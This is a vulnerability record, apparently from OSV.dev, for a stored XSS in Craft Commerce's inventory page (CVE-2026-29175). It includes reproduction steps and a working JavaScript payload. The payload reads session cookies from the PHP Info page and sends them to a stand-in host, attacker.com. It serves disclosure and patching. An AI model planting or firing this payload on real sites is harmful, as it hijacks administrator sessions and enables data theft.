{"id":"CVE-2026-29175","aliases":["GHSA-cfpv-rmpf-f624"],"url":"https://o3.security/vulnerability/CVE-2026-29175","summary":"Multiple Stored XSS in Commerce Inventory Page Leading to Session Hijacking","details":"## Summary\n\nStored XSS vulnerabilities exist in the Commerce Inventory page. The **Product Title**, **Variant Title**, and **Variant SKU** fields are rendered without proper HTML escaping, allowing an attacker to execute arbitrary JavaScript when any user (including administrators) views the inventory management page.\n\nThis vulnerability enables **session hijacking** by fetching the PHP Info utility page, which displays unmasked session cookies. Unlike other XSS chains that require elevated sessions, this attack provides instant access to the victim’s session - no additional user interaction or elevated session approval required.\n\n## Proof of Concept\n\n### Permissions Required\n\n- Access the control panel\n- Access Craft Commerce\n- Create/Edit products\n\n### Steps to Reproduce\n1. Log in to the control panel\n2. Navigate to **Commerce → Products**\n3. Add a new product and set the **Title** field to: (replace `https://attacker.com`)\n    ```html\n    <img src=x onerror=\"fetch('/admin/utilities/php-info').then(r=>r.text()).then(t=>{m=t.match(/<th[^>]*>Cookie[^<]*<\\/th>\\s*<td[^>]*>([\\s\\S]*?)<\\/td>/);if(m)new Image().src='https://attacker.com/s?c='+btoa(m[1])})\">\n    ```\n4. Save the product\n5. Navigate to **Commerce → Inventory** (`/admin/commerce/inventory`)\n6. XSS executes, fetches PHP Info page, extracts session cookies, and exfiltrates them to the attacker server\n\n### Cookie Extraction Details\nThe PHP Info page (`/admin/utilities/php-info`) displays cookie values (unmasked) in multiple locations:\n- `HTTP_COOKIE`\n- `Cookie` (used in this PoC)\n- `$_SERVER['HTTP_COOKIE']`\n- `$_COOKIE['<cookie-name>']`\n\n### Notes\n- The same vulnerability exists in **Variant Title** and **Variant SKU** fields while creating a product. The PoC focuses on Product Title, but the same attack works for the other two fields.\n- `$_COOKIE['CRAFT_CSRF_TOKEN']` is masked in PHP Info, but the unmasked value is available in the other parameters listed above.\n- This vulnerability can also be chained to achieve full database exfiltration or do it after hijacking an administrator session.\n\n## Mitigation\n1. Sanitize product and variant fields when rendering in the inventory template\n2. Mask sensitive cookie values in the PHP Info utility page (similar to how `CRAFT_CSRF_TOKEN`, `CRAFT_SECURITY_KEY`, and `CRAFT_DB_PASSWORD` are already masked)","published":"2026-03-10T19:57:36.799Z","modified":"2026-08-12T03:51:35.450350907Z","cvss":null,"epss":{"score":0.00204,"percentile":0.106,"asOf":"2026-09-17"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Packagist","name":"craftcms/commerce","fixedVersion":"5.5.3"}],"fix":{"url":"https://github.com/craftcms/commerce/commit/9f0638a4fb29ed8295a463385a7cc49ec986e33a","label":"craftcms/commerce@9f0638a"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/29xxx/CVE-2026-29175.json"},{"type":"ADVISORY","url":"https://github.com/craftcms/commerce/security/advisories/GHSA-cfpv-rmpf-f624"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-29175"},{"type":"FIX","url":"https://github.com/craftcms/commerce/commit/9f0638a4fb29ed8295a463385a7cc49ec986e33a"},{"type":"PACKAGE","url":"https://github.com/craftcms/commerce"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:35.450350907Z"}}